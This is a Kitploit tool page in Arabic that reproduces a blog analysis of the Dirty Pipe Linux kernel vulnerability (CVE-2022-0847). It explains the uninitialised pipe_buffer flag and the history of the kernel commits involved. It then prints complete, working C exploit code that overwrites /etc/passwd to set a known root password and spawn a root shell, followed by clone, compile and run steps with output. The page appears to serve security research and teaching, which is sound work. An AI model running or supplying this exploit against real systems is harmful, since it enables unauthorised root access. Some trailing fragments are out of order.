Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-0847-DirtyPipe — تحليل متعمق وإثبات مفهوم لاستغلال CVE-2022-0847 (DirtyPipe)، وهي ثغرة في نواة لينكس تتيح الكتابة التعسفية على الملفات وتصعيد الامتيازات المحلية عبر أعلام غير مهيأة لمخزن الأنابيب المؤقت. | Kitploit
أدوات/GitHubGitHub/greetdawn/cve-2022-0847-dirtypipe
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالتعلم والتعليماستغلال الملفات الثنائية
GitHubgreetdawn/cve-2022-0847-dirtypipe

CVE-2022-0847-DirtyPipe

تحليل متعمق وإثبات مفهوم لاستغلال CVE-2022-0847 (DirtyPipe)، وهي ثغرة في نواة لينكس تتيح الكتابة التعسفية على الملفات وتصعيد الامتيازات المحلية عبر أعلام غير مهيأة لمخزن الأنابيب المؤقت.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
1منذ 4 سنواتلم تتم المراجعة بعد

title: تحليل ثغرة CVE-2022-0847 (تصعيد الصلاحيات المحلية DirtyPipe) date: 2022-03-08 14:41:20 tags: - تصعيد صلاحيات لينكس categories: - أبحاث أمنية


وصف الثغرة

​ CVE-2022-0847 هي ثغرة في نواة لينكس منذ الإصدار 5.8، يمكن للمهاجم استغلالها لاستبدال البيانات في أي ملف للقراءة فقط. يؤدي ذلك إلى رفع صلاحيات المستخدم العادي إلى صلاحية root، حيث يمكن للعمليات غير المميزة حقن كود في عمليات الجذر.

​ تشبه CVE-2022-0847 ثغرة CVE-2016-5195 "Dirty Cow" (تصعيد صلاحيات Dirty Cow)، وهي سهلة الاستغلال، وقد أطلق عليها مؤلف الثغرة اسم Dirty Pipe.

إخلاء مسؤولية أمني

هذه المدونة مخصصة بشكل أساسي لتسجيل الأحداث الأمنية والمقالات المتعلقة بالثغرات، وهي متاحة للجميع للتعلم والتبادل والاختبار. لا يتحمل مؤلف المقال أي مسؤولية عن أي عواقب أو أضرار مباشرة أو غير مباشرة ناتجة عن نشر أو استخدام المعلومات أو الأدوات المقدمة في هذه المقالة، حيث يتحمل المستخدم المسؤولية الكاملة.

نطاق التأثير

مستوى الخطر: عالي

POC/EXP: منشور بالفعل

الإصدارات المتأثرة: نواة لينكس 5.8 والإصدارات الأحدث

ملاحظة: الإصدارات الآمنة: نواة لينكس >= 5.16.11، نواة لينكس >= 5.15.25، نواة لينكس >= 5.10.102

تحليل الثغرة

فيما يلي شرح موجز لتفاصيل الثغرة.

بعض المفاهيم:

Linux pipe: نصف مزدوج، تدفق البيانات من طرف إلى آخر فقط.

pipe_buffer: مخزن مؤقت للأنبوب، يستخدم لتخزين البيانات المكتوبة مؤقتًا، وتتم القراءة والكتابة عبر هذا المخزن.

page: إطار صفحة، 4 كيلوبايت، له علاقة واحد لواحد مع مخزن الأنبوب المؤقت.

pipe_buf_operations: لتخزين مجموعة عمليات مخزن الأنبوب المؤقت.

can_merge: علامة الدمج، إذا تم ضبطها على 1، فهذا يعني أنه يمكن دمج بيانات القراءة/الكتابة العامة للأنبوب في المخزن الحالي. إذا تم ضبطها على 0، فسيتم استخدام مقطع صفحة أنبوب جديد دائمًا للبيانات الجديدة.

splice(): نقل البيانات بين واصفي ملفين، مثل دالة sendfile()، وهي تدعم الأنابيب وتستخدم النسخ الصفري. تربط بين ذاكرة التخزين المؤقت للصفحة للملف ومخزن الأنبوب المؤقت، أي أن الكتابة تؤثر على كليهما في نفس الوقت، وعند التحقق من الصلاحيات، يتم التحقق فقط من صلاحية قراءة مصدر البيانات، ولا يوجد فحص للصلاحية عند الكتابة. سلسلة الاستدعاء التقريبية:

root@kitploit:~
// fs/splice.c
syscall --> do_splice --> do_splice_to --> splice_read(generic_file_splice_read()) --> call_read_iter(generic_file_read_iter)
root@kitploit:~
// linux/mm/filemap.c
generic_file_read_iter --> filemap_read --> copy_folio_to_iter
root@kitploit:~
// linux/lib/iov_iter.c
copy_folio_to_iter --> __copy_folio_to_iter --> copy_page_to_iter_pipe

image-20220310151242149

تاريخ تطور كشف "دمج" الأنابيب في لينكس:

بناءً على شرح المؤلف، إليك تحليل بسيط للكود.

  1. النظام الأولي والمفاهيم المذكورة أعلاه متطابقة، حيث توجد علامة can_merge تستخدم لتحديد ما إذا كان يمكن كتابة بيانات جديدة إلى مخزن الأنبوب المؤقت الحالي.

  2. أضاف Commit 5274f052e7b3 دالة splice()، لكن التحقق لم يتغير، ولا يزال يعتمد على علامة can_merge لتحديد ما إذا كان مخزن الأنبوب المؤقت الحالي متاحًا.

    image-20220310130856202

    image-20220310130701741

  3. Commit 01e7187b4119 توقف عن استخدام علامة can_merge واستبدلها بمقارنة مؤشر struct pipe_buf_operations، أي أنه فقط نوع anon_pipe_buf_ops هو المسموح له بكتابة بيانات جديدة، لذلك يكفي التحقق من كونه هذا النوع.

    image-20220310133214287

    image-20220310133251831

  4. أضاف دالتين جديدتين يمكنهما تخصيص جديد، لكن لا يتم تهيئة علامات الخاصة به.

لذلك، لدى المؤلف فكرة الاستغلال التالية:

  1. إنشاء أنبوب
  2. ضبط علامة PIPE_BUF_FLAG_CAN_MERGE لمخزن الأنبوب المؤقت pipe_buffer
  3. إفراغ الأنبوب، ثم ربط البيانات المستهدفة السابقة بالأنبوب باستخدام splice، مما يربط مخزن الأنبوب المؤقت بذاكرة التخزين المؤقت للصفحة.
  4. كتابة بيانات عشوائية إلى الأنبوب، حيث تستدعي write في النهاية copy_page_from_iter() للكتابة، وبسبب علامة PIPE_BUF_FLAG_CAN_MERGE، سيتم الكتابة مباشرة.

تحليل الـ Exp

root@kitploit:~
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();										// إنشاء p[0] و p[1] يشيران إلى طرفي الأنبوب. الأول للقراءة والثاني للكتابة

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);    	    // الحصول على حجم الأنبوب
	static char buffer[4096];

	/* املأ الأنبوب بالكامل؛ سيحتوي كل pipe_buffer الآن على
	   علامة PIPE_BUF_FLAG_CAN_MERGE */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;      // ملء الأنبوب وضبط PIPE_BUF_FLAG_CAN_MERGE
		write(p[1], buffer, n);
		r -= n;
	}

	/* أفرغ الأنبوب، لتحرير جميع حالات pipe_buffer (ولكن
	   مع ترك العلامات مهيأة) */
	for (unsigned r = pipe_size; r > 0;) {						// إفراغ الأنبوب، مع الاحتفاظ بالعلامات
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* الأنبوب الآن فارغ، وإذا أضاف شخص ما pipe_buffer جديدًا
	   دون تهيئة "flags" الخاص به، فإن المخزن سيكون قابلاً للدمج */
}

int main() {
	const char *const path = "/etc/passwd";								// تحديد مسار الملف الهدف

        printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");         // إنشاء نسخة احتياطية /tmp/passwd.bak
        FILE *f1 = fopen("/etc/passwd", "r");
        FILE *f2 = fopen("/tmp/passwd.bak", "w");

        if (f1 == NULL) {											   // التحقق من فتح الملف بشكل صحيح
            printf("Failed to open /etc/passwd\n");
            exit(EXIT_FAILURE);
        } else if (f2 == NULL) {
            printf("Failed to open /tmp/passwd.bak\n");
            fclose(f1);
            exit(EXIT_FAILURE);
        }

        char c;
        while ((c = fgetc(f1)) != EOF)								    // كتابة بايت بايت
            fputc(c, f2);

        fclose(f1);
        fclose(f2);

	loff_t offset = 4; // after the "root"                                // تحديد الإزاحة، لتغطية الموضع المستهدف بعد حقل "root"
	const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron 													 // تحديد البيانات المراد استبدالها
        printf("Setting root password to \"aaron\"...\n");
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {									  // التحقق من أن موقع الكتابة ليس على حدود الصفحة
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;			// تحديد نهاية الصفحة الحالية
	const loff_t end_offset = offset + (loff_t)data_size;				// تحديد نهاية البيانات المستبدلة
	if (end_offset > next_page) {									  // التحقق من عدم تجاوز الحدود بين الصفحات
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* افتح ملف الإدخال وتحقق من الإزاحة المحددة */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)			// فتح الملف الهدف للقراءة فقط
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;													// تعريف st لحفظ معلومات الملف الهدف
	if (fstat(fd, &st)) {											 // الحصول على حالة الملف الهدف
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {										 // التحقق مما إذا كانت الإزاحة أكبر من حجم الملف
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {								      // التحقق مما إذا كانت نهاية الاستبدال أكبر من حجم الملف
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* إنشاء الأنبوب مع تهيئة جميع العلامات بـ
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);                                                 // إنشاء الأنبوب، ضبط العلامة على PIPE_BUF_FLAG_CAN_MERGE

	/* أرسل بايت واحد قبل الإزاحة المحددة إلى الأنبوب باستخدام splice؛
	   سيؤدي ذلك إلى إضافة مرجع إلى ذاكرة التخزين المؤقت للصفحة، ولكن
	   نظرًا لأن copy_page_to_iter_pipe() لا يهيئ "flags"،
	   فإن PIPE_BUF_FLAG_CAN_MERGE سيبقى مضبوطًا */
	--offset;													// الانتقال إلى 1 بايت قبل الإزاحة
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);          // إرسال هذا البايت إلى الأنبوب
	if (nbytes < 0) {											 // التحقق من نجاح النقل، -1 يعني فشل
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {											 // 0 يعني عدم وجود بيانات لنقلها
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* عملية الكتابة التالية لن تنشئ pipe_buffer جديد، بل
	   ستكتب مباشرة في ذاكرة التخزين المؤقت للصفحة، بسبب
	   علامة PIPE_BUF_FLAG_CAN_MERGE */
	nbytes = write(p[1], data, data_size);						  // كتابة البيانات المستبدلة إلى الأنبوب
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
                "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
                "cp /tmp/passwd.bak /etc/passwd;"
                "echo \\\"Done! Popping shell... (run commands now)\\\";"
                "/bin/sh;"
            "\" root"};
        execv("/bin/sh", argv);										// فتح شل بصلاحية root

        printf("system() function call seems to have failed :(\n");
	return EXIT_SUCCESS;
}

استغلال الثغرة

حاليًا، تم استخدام جهاز افتراضي kali كنظام توضيحي للاستغلال.

متطلبات النظام المستهدف: وجود gcc فقط.

  • التحقق من إصدار النواة الحالي
root@kitploit:~
wzy@wzy:/tmp$ uname -a
Linux wzy 5.16.0-kali1-amd64 #1 SMP PREEMPT Debian 5.16.7-2kali1 (2022-02-10) x86_64 GNU/Linux
  • سحب الـ exp
root@kitploit:~
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
  • التنفيذ
root@kitploit:~
./compile.sh	# تجميع باستخدام gcc

./exploit	    # تنفيذ الـ exp، يُرجع رسالة الخطأ التالية
wzy@wzy:/tmp/CVE-2022-0847-DirtyPipe-Exploit$ ./exploit
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "aaron"...
system() function call seems to have failed :(

su root 
كلمة المرور: aaron 

بعد تسجيل الدخول، نحصل على صلاحية root
  • استعادة ملف passwd
root@kitploit:~
mv /tmp/passwd.bak /etc/passwd

إصلاح الثغرة

أولاً، إصلاح خاصية الدمج.

image-20220310160200916

ثانيًا، إضافة تهيئة العلامات flags.

image-20220310160536267

image-20220310160703429

ملاحظة المحرر

نشكر بشدة الأستاذ Psyduck على إهداء هذا الوقت الثمين لتحليل مبدأ الاستغلال بناءً على الـ exp المنشور. وقد أشار الأستاذ إلى أنه قام أيضًا بتصحيح الأخطاء على المستوى الأساسي محليًا، لكن لا توجد سلسلة استدعاء بيانات واضحة حتى الآن، ولا يزال البحث جاريًا.

روابط مرجعية

  • https://dirtypipe.cm4all.com/
  • https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit

إخلاء مسؤولية أمني

هذه المدونة مخصصة بشكل أساسي لتسجيل الأحداث الأمنية والمقالات المتعلقة بالثغرات، وهي متاحة للجميع للتعلم والتبادل والاختبار. لا يتحمل مؤلف المقال أي مسؤولية عن أي عواقب أو أضرار مباشرة أو غير مباشرة ناتجة عن نشر أو استخدام المعلومات أو الأدوات المقدمة في هذه المقالة، حيث يتحمل المستخدم المسؤولية الكاملة.

تنزيل الأداة
Commit 241699cd72a8
struct pipe_buf_operations
flags

image-20220310155046455

  • Commit f6dd975583bd حول هذه المقارنة إلى مقارنة لكل علامة مخزن PIPE_BUF_FLAG_CAN_MERGE، ويمكن حقن PIPE_BUF_FLAG_CAN_MERGE، مع إلغاء تعريف واستخدام أنواع buf_ops الأخرى.

    image-20220310134233873

    image-20220310134337376

    image-20220310142420972